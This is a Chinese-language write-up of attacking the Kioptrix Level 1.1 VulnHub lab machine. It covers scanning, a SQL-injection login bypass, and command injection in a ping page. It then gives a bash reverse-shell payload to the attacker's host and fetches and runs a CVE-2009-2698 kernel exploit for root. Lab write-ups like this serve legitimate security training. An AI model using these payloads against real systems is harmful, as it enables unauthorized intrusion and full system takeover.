Kioptrix: Level 1.1
实验环境
攻击机(kali):192.168.10.11
靶机下载地址:https://www.vulnhub.com/entry/kioptrix-level-11-2,23/
kali 与靶机为同种网络模式(此处均为桥接模式)
信息搜集
主机探测
使用 arp-scan 进行主机探测:sudo arp-scan -l
得到靶机 IP 为:192.168.10.12
端口扫描
使用 nmap 进行端口扫描:sudo nmap -T4 -sV -O -p- 192.168.10.12
└─$ sudo nmap -T4 -sV -O -p- 192.168.10.12
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-05 20:55 CST
Nmap scan report for 192.168.10.12
Host is up (0.00056s latency).
Not shown: 65528 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 3.9p1 (protocol 1.99)
80/tcp open http Apache httpd 2.0.52 ((CentOS))
111/tcp open rpcbind 2 (RPC #100000)
443/tcp open ssl/http Apache httpd 2.0.52 ((CentOS))
607/tcp open status 1 (RPC #100024)
631/tcp open ipp CUPS 1.1
3306/tcp open mysql MySQL (unauthorized)
MAC Address: 00:0C:29:C7:1C:1E (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.30
Network Distance: 1 hop
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.78 seconds
目录扫描
使用 dirsearch 进行目录扫描:dirsearch -u http://192.168.10.12/ -x 400-599 -t 50
无特殊路径
漏洞挖掘
/index.php SQLi
打开浏览器访问目标网站,发现存在登录框,查看网页源代码发现用户名Administrator
被硬编码到了 html 中:
接下来以此为用户名,在 burp 中进行测试,首先进行弱口令测试,设定密码为暴破目标:
添加密码字典:
由暴破结果得知此处并无弱口令漏洞:
接着清空字典列表,添加Fuzzing - SQL injection
即 SQL 注入的 fuzzing 字典:
再次暴破由结果可知,此处存在 SQL 注入漏洞可致使无密码登录:
直接将成功跳转后台的响应包丢到浏览器打开:
发现后台是一个执行 ping 命令的页面:
/pingit.php RCE
接下来对 ping 功能进行进一步测试,尝试挖掘命令执行漏洞。
将 URL 为/pingit.php
的 POST 请求转发到 Repeater 模块进行测试:
在 IP 地址后尝试使用分隔符;
并接上其它命令如id
,发包后发现id
命令被成功执行:
证明此处存在命令执行漏洞。
漏洞利用
命令执行getshell
在攻击机开启监听:nc -lvnp 5555
构造 bash 反弹 shell 的 Payload:;bash -i >& /dev/tcp/192.168.10.11/5555 0>&1
带入请求并发送: ps:在原始 http 请求中需要对空格进行 url 编码,burp 中直接右键 payload 进行 url 编码即可
建立交互式 shell:export PS1="\u@\H:\w$ "
内核提权
接下来要进行提权,搜集系统信息:
[email protected]:/var/www/html$ uname -a
Linux kioptrix.level2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 i686 i686 i386 GNU/Linux
[email protected]:/var/www/html$ lsb_release -a
LSB Version: :core-3.0-ia32:core-3.0-noarch:graphics-3.0-ia32:graphics-3.0-noarch
Distributor ID: CentOS
Description: CentOS release 4.5 (Final)
Release: 4.5
Codename: Final
得知目标主机系统为 centos4.5,系统内核版本为 2.6.9,回到 kali 使用 searchsploit 查询是否存在提权漏洞:searchsploit centos 4.5
发现存在编号 9542 的漏洞适用于此,将其复制出来并开启 web 服务,稍后下载至目标机器编译运行:
┌──(z0sen㉿kali)-[~/Desktop]
└─$ searchsploit -p 9542
Exploit: Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5/6 x86) - 'ip_append_data()' Ring0 Privilege Escalation (1)
URL: https://www.exploit-db.com/exploits/9542
Path: /usr/share/exploitdb/exploits/linux_x86/local/9542.c
Codes: CVE-2009-2698
Verified: True
File Type: C source, ASCII text
┌──(z0sen㉿kali)-[~/Desktop]
└─$ cp /usr/share/exploitdb/exploits/linux_x86/local/9542.c ./
┌──(z0sen㉿kali)-[~/Desktop]
└─$ ls
9542.c
┌──(z0sen㉿kali)-[~/Desktop]
└─$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
将漏洞利用代码下载到靶机/tmp
目录进行编译使用:wget http://192.168.10.11/9542.c
ps:因为有时可能会在存储和访问其他目录中的文件时遇到权限问题,所以存到/tmp
目录
[email protected]:/tmp$ ls
9542.c
[email protected]:/tmp$ gcc -o exp 9542.c
9542.c:109:28: warning: no newline at end of file
[email protected]:/tmp$ ls
9542.c
exp
[email protected]:/tmp$ id
uid=48(apache) gid=48(apache) groups=48(apache)
[email protected]:/tmp$ ./exp
sh: no job control in this shell
[email protected]:/tmp$ id
uid=0(root) gid=0(root) groups=48(apache)
[email protected]:/tmp$
拿下!